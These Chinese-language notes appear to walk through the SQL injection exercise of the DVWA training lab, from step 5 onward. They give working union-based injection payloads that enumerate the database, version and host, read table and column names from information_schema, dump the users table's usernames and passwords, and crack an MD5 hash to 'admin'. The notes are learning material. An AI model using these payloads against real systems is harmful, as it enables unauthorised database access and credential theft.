SQL注入笔记
目标:拿到表中登录用户账号密码;
[注意:]全过程中sql语句中的单引号都应该是英文输入法下的单引号;
5、通过这里基本可以推断出后台支持的sql语句结构为:SELECT first_name, last_name FROM 表名 WHERE user_id = '$id'
6、可以使用1’ union all select 1,2;#参数注入获取得到相关参数,可以将1,2参数替换为sql参数进行查询,如替换成database():查询当前数据库;user():查询当前用户
备注:
database():查询当前数据库;
user():查询当前用户;
version():查询数据库版本信息;
@@datadir:全局变量datadir查看数据存储路径;
@@basedir:查看数据库安装路径;
@@hostname:查看hostname;
@@version_compile_os:查看操作系统;
7、我们可以使用CONCAT_WS()函数一次性查询多个函数内容;如:
1’union all select CONCAT_WS(CHAR(32,58,32),user(),database(),version(),@@hostname),2;#
解释:
CONCAT_WS(X,Y,Z):使用X格式的内容将Y,Z值连接起来;
CHAR(32,58,32):是通过ASCII编码后的结果,对应 :(空格:空格);
8、mysql基础知识铺垫;
Information_schema:mysql数据库中存储元数据的数据库;
Tables:表中存储数据库名及其对应的数据表名;
Columns:表中存储数据表名及其列名;
Table_name:表名;
Table_schema:数据库名;
Column_name:表列名;
我们可以通过database()参数查到当前数据库为dvwa;
所以我们可以通过该数据库名查询得到该数据库下的表名:
'union select table_name,table_schema from information_schema.tables where table_schema ='dvwa';#
9、由上一步可以看出dvwa库下面有两个表guestbook、users表,用户密码猜测应该在users表里,所有我们现在需要查询得到该表的列信息,使用columns表查看;
‘union select table_name,column_name from information_schema.columns where table_name=’users’;#
10、由上一步可以知道该表中有user_id,first_name,last_name,user,password,avatar几个字段,因此可以知道表名users,字段名,所以可以查询出用户名和密码;
‘union Select user,password from users;#
11、可以看到密码进行加密,可以使用相应工具进行解密;
21232f297a57a5a743894a0e4a801fc3 根据密码长度猜测是通过MD5进行加密,所以通过MD5进行解密。解密结果为admin
到此成功拿到用户名密码相关信息;